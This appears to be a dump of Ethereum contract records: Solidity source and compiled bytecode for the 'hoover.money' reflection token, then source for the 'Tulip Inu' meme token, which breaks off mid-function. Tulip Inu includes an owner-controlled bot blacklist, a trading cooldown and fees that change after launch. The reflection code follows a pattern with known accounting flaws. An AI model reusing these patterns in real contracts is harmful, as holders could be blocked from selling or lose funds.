no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract HooverMoney is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'hoover.money'; string private _symbol = 'SUCK'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromSuction(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function suck(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function suctionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromSuction(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total suctions"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromSuction(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _suckFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _suckFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _suckFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _suckFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _suckFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.mul(4).div(100); //4% fee on transaction uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c8063715018a6116100b8578063cba0e9961161007c578063cba0e99614610391578063dd62ed3e146103b7578063e8c0dd9b146103e5578063f2cc0c1814610402578063f2fde38b14610428578063f84354f11461044e57610137565b8063715018a6146103055780638da5cb5b1461030d57806395d89b4114610331578063a457c2d714610339578063a9059cbb1461036557610137565b80632033a81c116100ff5780632033a81c1461023a57806323b872dd1461025f578063313ce5671461029557806339509351146102b357806370a08231146102df57610137565b806306fdde031461013c578063095ea7b3146101b957806313114a9d146101f957806318160ddd146102135780631f31f5161461021b575b600080fd5b610144610474565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e5600480360360408110156101cf57600080fd5b506001600160a01b03813516906020013561050a565b604080519115158252519081900360200190f35b610201610528565b60408051918252519081900360200190f35b61020161052e565b6102386004803603602081101561023157600080fd5b5035610539565b005b6102016004803603604081101561025057600080fd5b50803590602001351515610611565b6101e56004803603606081101561027557600080fd5b506001600160a01b038135811691602081013590911690604001356106a6565b61029d61072d565b6040805160ff9092168252519081900360200190f35b6101e5600480360360408110156102c957600080fd5b506001600160a01b038135169060200135610736565b610201600480360360208110156102f557600080fd5b50356001600160a01b0316610784565b6102386107ee565b610315610890565b604080516001600160a01b039092168252519081900360200190f35b61014461089f565b6101e56004803603604081101561034f57600080fd5b506001600160a01b038135169060200135610900565b6101e56004803603604081101561037b57600080fd5b506001600160a01b038135169060200135610968565b6101e5600480360360208110156103a757600080fd5b50356001600160a01b031661097c565b610201600480360360408110156103cd57600080fd5b506001600160a01b038135811691602001351661099a565b610201600480360360208110156103fb57600080fd5b50356109c5565b6102386004803603602081101561041857600080fd5b50356001600160a01b0316610a25565b6102386004803603602081101561043e57600080fd5b50356001600160a01b0316610bab565b6102386004803603602081101561046457600080fd5b50356001600160a01b0316610ca3565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105005780601f106104d557610100808354040283529160200191610500565b820191906000526020600020905b8154815290600101906020018083116104e357829003601f168201915b5050505050905090565b600061051e610517610e64565b8484610e68565b5060015b92915050565b60075490565b662386f26fc1000090565b6000610543610e64565b6001600160a01b03811660009081526004602052604090205490915060ff161561059e5760405162461bcd60e51b815260040180806020018281038252602c8152602001806119fe602c913960400191505060405180910390fd5b60006105a983610f54565b505050506001600160a01b0383166000908152600160205260409020549091506105d39082610fa0565b6001600160a01b0383166000908152600160205260409020556006546105f99082610fa0565b6006556007546106099084610fe2565b600755505050565b6000662386f26fc1000083111561066f576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b8161068d57600061067f84610f54565b509294506105229350505050565b600061069884610f54565b509194506105229350505050565b60006106b384848461103c565b610723846106bf610e64565b61071e8560405180606001604052806028815260200161191d602891396001600160a01b038a166000908152600360205260408120906106fd610e64565b6001600160a01b03168152602081019190915260400160002054919061125e565b610e68565b5060019392505050565b600a5460ff1690565b600061051e610743610e64565b8461071e8560036000610754610e64565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fe2565b6001600160a01b03811660009081526004602052604081205460ff16156107c457506001600160a01b0381166000908152600260205260409020546107e9565b6001600160a01b0382166000908152600160205260409020546107e6906109c5565b90505b919050565b6107f6610e64565b6000546001600160a01b03908116911614610846576040805162461bcd60e51b81526020600482018190526024820152600080516020611945833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105005780601f106104d557610100808354040283529160200191610500565b600061051e61090d610e64565b8461071e85604051806060016040528060258152602001611a2a6025913960036000610937610e64565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061125e565b600061051e610975610e64565b848461103c565b6001600160a01b031660009081526004602052604090205460ff1690565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000600654821115610a085760405162461bcd60e51b81526004018080602001828103825260278152602001806119d76027913960400191505060405180910390fd5b6000610a126112f5565b9050610a1e8382611318565b9392505050565b610a2d610e64565b6000546001600160a01b03908116911614610a7d576040805162461bcd60e51b81526020600482018190526024820152600080516020611945833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff1615610aeb576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526001602052604090205415610b45576001600160a01b038116600090815260016020526040902054610b2b906109c5565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610bb3610e64565b6000546001600160a01b03908116911614610c03576040805162461bcd60e51b81526020600482018190526024820152600080516020611945833981519152604482015290519081900360640190fd5b6001600160a01b038116610c485760405162461bcd60e51b81526004018080602001828103825260268152602001806118b46026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610cab610e64565b6000546001600160a01b03908116911614610cfb576040805162461bcd60e51b81526020600482018190526024820152600080516020611945833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff16610d68576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600554811015610e6057816001600160a01b031660058281548110610d8c57fe5b6000918252602090912001546001600160a01b03161415610e5857600580546000198101908110610db957fe5b600091825260209091200154600580546001600160a01b039092169183908110610ddf57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610e3157fe5b600082815260209020810160001990810180546001600160a01b0319169055019055610e60565b600101610d6b565b5050565b3390565b6001600160a01b038316610ead5760405162461bcd60e51b81526004018080602001828103825260248152602001806119b36024913960400191505060405180910390fd5b6001600160a01b038216610ef25760405162461bcd60e51b81526004018080602001828103825260228152602001806118da6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000806000806000806000610f688861135a565b915091506000610f766112f5565b90506000806000610f888c868661138d565b919e909d50909b509599509397509395505050505050565b6000610a1e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125e565b600082820183811015610a1e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0383166110815760405162461bcd60e51b815260040180806020018281038252602581526020018061198e6025913960400191505060405180910390fd5b6001600160a01b0382166110c65760405162461bcd60e51b81526004018080602001828103825260238152602001806118916023913960400191505060405180910390fd5b600081116111055760405162461bcd60e51b81526004018080602001828103825260298152602001806119656029913960400191505060405180910390fd5b6001600160a01b03831660009081526004602052604090205460ff16801561114657506001600160a01b03821660009081526004602052604090205460ff16155b1561115b576111568383836113c9565b611259565b6001600160a01b03831660009081526004602052604090205460ff1615801561119c57506001600160a01b03821660009081526004602052604090205460ff165b156111ac576111568383836114e0565b6001600160a01b03831660009081526004602052604090205460ff161580156111ee57506001600160a01b03821660009081526004602052604090205460ff16155b156111fe57611156838383611586565b6001600160a01b03831660009081526004602052604090205460ff16801561123e57506001600160a01b03821660009081526004602052604090205460ff165b1561124e576111568383836115c7565b611259838383611586565b505050565b600081848411156112ed5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112b257818101518382015260200161129a565b50505050905090810190601f1680156112df5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000611302611637565b90925090506113118282611318565b9250505090565b6000610a1e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ae565b60008080611374606461136e866004611813565b90611318565b905060006113828583610fa0565b935090915050915091565b600080808061139c8786611813565b905060006113aa8787611813565b905060006113b88383610fa0565b929992985090965090945050505050565b60008060008060006113da86610f54565b6001600160a01b038d166000908152600260205260409020549499509297509095509350915061140a9087610fa0565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546114399086610fa0565b6001600160a01b03808a1660009081526001602052604080822093909355908916815220546114689085610fe2565b6001600160a01b03881660009081526001602052604090205561148b838261186c565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006114f186610f54565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506115219086610fa0565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546115579083610fe2565b6001600160a01b0388166000908152600260209081526040808320939093556001905220546114689085610fe2565b600080600080600061159786610f54565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506114399086610fa0565b60008060008060006115d886610f54565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506116089087610fa0565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546115219086610fa0565b6006546000908190662386f26fc10000825b6005548110156117725782600160006005848154811061166557fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806116ca57508160026000600584815481106116a357fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156116e657600654662386f26fc10000945094505050506117aa565b61172660016000600584815481106116fa57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490610fa0565b9250611768600260006005848154811061173c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390610fa0565b9150600101611649565b5060065461178790662386f26fc10000611318565b8210156117a457600654662386f26fc100009350935050506117aa565b90925090505b9091565b600081836117fd5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156112b257818101518382015260200161129a565b50600083858161180957fe5b0495945050505050565b60008261182257506000610522565b8282028284828161182f57fe5b0414610a1e5760405162461bcd60e51b81526004018080602001828103825260218152602001806118fc6021913960400191505060405180910390fd5b6006546118799083610fa0565b6006556007546118899082610fe2565b600755505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c2073756374696f6e734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208681292a7f54259301d2b298fd53e4f8d6a97545b43ed5026993360df18cd00a64736f6c634300060c0033
[ 38 ]
0xF363f35DD056167C4A2FFcB74442D09042375411
/* Tulip Inu ($TULIP) Our Amazing Community: https://t.me/tulipinuofficial */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TulipInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Tulip Inu"; string private constant _symbol = "TULIP"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (25 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), 